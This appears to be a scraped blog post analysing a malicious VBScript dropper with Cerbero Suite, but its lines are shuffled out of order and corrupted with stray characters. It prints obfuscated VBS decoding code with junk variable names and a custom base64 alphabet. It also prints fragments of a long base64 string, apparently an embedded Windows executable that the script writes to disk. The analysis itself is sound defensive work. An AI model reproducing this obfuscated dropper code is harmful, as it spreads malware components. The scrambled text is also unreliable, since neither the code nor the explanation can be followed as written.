NGroup = String(6 - Len(nGroup), Chr(48)) & nGroup ThisData = InStr(1, KMOgsBIDf, thisChar, vbBinar圜ompare) - 1 ThisChar = Mid(vsdvjtktk, groupBegin + CharCounter, 1) Vsdvjtktk = Replace(vsdvjtktk, Chr(32), "")ĭim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut ![]() Vsdvjtktk = Replace(vsdvjtktk, vbTab, "") Vsdvjtktk = Replace(vsdvjtktk, vbCrLf, "") Pqwkdaiffewfgwerheejjej = gewgsdrtyutyk(pfkewfnnwg)Ĭonst KMOgsBIDf = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ![]() ewfwegwh = Įwfwegwh = Replace(ewfwegwh, Chr(45), Chr(43))Įwfwegwh = Replace(ewfwegwh, Chr(95), Chr(47))Ĭase 2: ewfwegwh = ewfwegwh + Chr(61) & Chr(61) We could use filters in Cerbero Suite to perform the same transformations and then decode the base64 string as a child object, but in this case it’s easier to just copy/paste the VBS code and let it decode the string. "BQUFBQUFBQUFBQUVBQUFNQXVjbk55WXdBQUFBQ0FBd0FBMEFBQUFIb0RBQUNpQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUJBc3FBQ1NFQUFBQUFzb1FKSVRRQUJBQ3loQWtoYUFB" + _įollowing the huge base64 string, there are some lines of code which perform transformations on the string and dump the results to disk. "FBQUFBQUFBQUFMblJsZUhRQUFBREltUUFBQUJBQUFBQ2FBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBWUM1a1lYUmhBQUFBNUJzQUFBQ3dBQUFBQkFBQUFKNEFBQUFBQUF" + _ "UFBREFTQUFBY0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQXdBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU" + _ "QUFnQUFoQUFBQkFBQUVBQUFBQUFRQUFBUUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQWdKMEFBSXdBQUFBQTBBQUFPSGtEQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ" + _ ![]() "BQUFBQTRBQVBBUXNCQndvQW1nQUFBSDREQUFBQUFBQmNaQUFBQUJBQUFBQ3dBQUFBQUFBQkFCQUFBQUFDQUFBRkFBRUFCUUFCQUFRQUFBQUFBQUFBQUZBRUFBQUVBQUMzd1FR" + _ "wra08yeS90RE1NdjZRM1hFcEVPM3kvcERkY1NsUTYzTCtrTjF4S0JEdDh2NlExSnBZMmkyeS9wREFBQUFBQUFBQUFBQUFBQUFBQUFBQUZCRkFBQk1BUU1BelZFQ1NBQUFBQUF" + _ "lRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFEeXFwUVF0c3Y2UTdiTCtrTzJ5元BEZGNTblE3dk" + _ ewfwegwh = "VFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEwQUFBQUE0ZnVnNEF0QW5OSWJnQ" + _ We notice that the VBS code contains a very big string which looks like base64.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |